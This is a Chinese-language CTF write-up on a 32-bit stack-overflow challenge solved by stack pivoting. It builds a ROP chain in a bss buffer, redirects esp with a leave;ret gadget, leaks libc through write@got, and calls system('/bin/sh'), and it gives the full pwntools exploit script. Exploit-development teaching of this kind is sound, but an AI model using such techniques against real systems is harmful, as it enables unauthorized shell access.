前言

由于某些众所周知的原因,最近得要把早已丢弃的pwn捡起来了,某些坑爹比赛密码手没人权(滑稽)。这次,先分析一个简单的栈指针劫持的栈溢出题。

题目分析

32位程序,首先checksec检查下保护,发现pie和canary都没有开启。
打开题目,发现漏洞函数vul_function()

漏洞点也很明显,最后buf多读了一些,导致在栈上多溢出了0x20-0x18=8位,仅仅刚能够覆盖ebp指针和返回地址,因此不能直接在这里构造ROP链。但是,ELF在bss段初始化生成了一个全局的s,读s的时候可以读入较长的数据。因此利用方法就呼之欲出了,就是在s中先写入构造好的ROP链,然后劫持栈指针指向s的地址执行这些gadgets。

那么怎么劫持栈指针呢?在intel汇编中有一条指令:leave。这条语句约等价于mov esp ebp; pop ebp;。所以我们覆盖的ebp就选择bss段的某个地址,然后找到leave ret的gadget,返回地址覆盖为leave_ret,这样esp就被劫持到bss段了。注意leave指令最后会pop,使栈顶指针增加,因此覆盖的ebp应当是s的实际地址-4。

解题步骤

  1. 第一轮ROP先泄露libc的基地址,计算出system地址等。
  2. 第二轮ROP直接调用system函数getshell。

Exploit:

from pwn import *
#context.log_level = 'debug'
process("./pwn")
elf = ELF("./pwn")
write_plt = elf.plt['write']
write_got = elf.got['write']
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
main_addr = 0x08048513
bss_addr = 0x0804A300
leave_ret = 0x08048511

rs.recvuntil("name?")
payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #第一轮泄露write地址
rs.send(payload)

rs.recvuntil("to say?")
payload2 = 'a'*0x18+p32(bss_addr-4)+p32(leave_ret) #劫持栈指针
rs.send(payload2)

write_addr = u32(rs.recv(4))
log.success(write_addr)

libc_write = libc.symbols['write']
libc_base = write_addr - libc_write
system_addr = libc_base + libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
sh_addr = libc_base+libc_sh
rs.recvuntil("name?")
payload = p32(system_addr)+p32(main_addr) + p32(sh_addr) #第二轮getshell
rs.send(payload)
rs.recvuntil("to say?")
payload2 = 'a'*0x18+p32(bss_addr-4)+p32(leave_ret)
rs.send(payload2)
rs.interactive()